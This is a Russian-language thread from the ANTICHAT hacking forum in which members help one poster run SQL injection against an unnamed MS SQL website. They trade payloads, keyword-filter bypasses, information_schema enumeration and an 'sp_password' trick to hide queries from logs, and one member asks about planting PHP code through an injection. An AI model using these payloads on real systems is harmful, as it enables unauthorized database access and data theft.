HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 19.12.2008, 20:22
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
С нами: 10660753

Репутация: 676


По умолчанию

Цитата:
И еще -1+or+1=(select+user)-- выводит все верно, а вот если к примеру -1+or+1=(select+xxx+from+xxx)--
Incorrect syntax near the keyword 'from'.
попробуй так:
(select/**/top/**/1/**/xxx/**/from/**/xxx)--
(select%20top%201%20xxx%20from%20xxx)--

p.s: вообще линк скинь...
 
Ответить с цитированием

  #2  
Старый 19.12.2008, 20:48
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
С нами: 9351767

Репутация: 2
По умолчанию

Пробовал оба варианта, но ответ на них увы один:
Incorrect syntax near the keyword 'top'.
 
Ответить с цитированием

  #3  
Старый 19.12.2008, 21:14
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
С нами: 9655526

Репутация: 1334
По умолчанию

Цитата:
Сообщение от SHS  
Пробовал оба варианта, но ответ на них увы один:
Incorrect syntax near the keyword 'top'.
'top' иногда фильтруется попробуй заменить на max(table_name)
 
Ответить с цитированием

  #4  
Старый 19.12.2008, 21:03
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Попробуй просто обычные пробелы, без плюсов и слешей
 
Ответить с цитированием

  #5  
Старый 19.12.2008, 22:20
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
С нами: 9351767

Репутация: 2
По умолчанию

-1+or+1=(select+max(table_name)+from+qwqw)--sp_password
An aggregate may not appear in the WHERE clause unless it is in a subquery contained in a HAVING clause or a select list, and the column being aggregated is an outer reference.
Как его именно юзать? Можно примерчик?
С top разобраться я как понял можно
Но еще кое-что
Incorrect syntax near the keyword 'from'.
 
Ответить с цитированием

  #6  
Старый 19.12.2008, 22:39
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

SHS
micr. ole?
Цитата:
-1+or+1=(select+top+1+table_name+from+information_s chema.columns+where+column_name+like+('sp_password '))--
 
Ответить с цитированием

  #7  
Старый 19.12.2008, 22:50
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
С нами: 9351767

Репутация: 2
По умолчанию

Ладно хрен с ним с этим ресурсом. Отложу на время. Видимо там скрипт замысловатый. Угадать какие параметры и где вмазать пока увы не могу. Но по простой схеме инъекций там никак.
 
Ответить с цитированием

  #8  
Старый 20.12.2008, 00:47
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

в общем друзья такой вопрос по SQL:

мне нужно задать свойство unique первичному ключу в таблице.. инными словами при создании таблицы с помощью оператора create задать первичному ключу свойство unique. как теперь его добавить? )

Последний раз редактировалось sabe; 20.12.2008 в 02:28..
 
Ответить с цитированием

  #9  
Старый 20.12.2008, 12:01
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
С нами: 9679872

Репутация: 347
По умолчанию

Цитата:
Сообщение от sabe  
в общем друзья такой вопрос по SQL:

мне нужно задать свойство unique первичному ключу в таблице.. инными словами при создании таблицы с помощью оператора create задать первичному ключу свойство unique. как теперь его добавить? )
если MySQL:

ALTER TABLE `tablename` ADD UNIQUE (`columnname`)
 
Ответить с цитированием

  #10  
Старый 20.12.2008, 06:54
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами: 9361870

Репутация: 58
По умолчанию

вопрос такой) sql inj я могу выводить данные из базы) могу править данные которые могу потом вывести) если добавить в таблицу запись <?php phpinfo(); ?> а потом вывести ее на страничку то он не выполняется(( а должен?)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.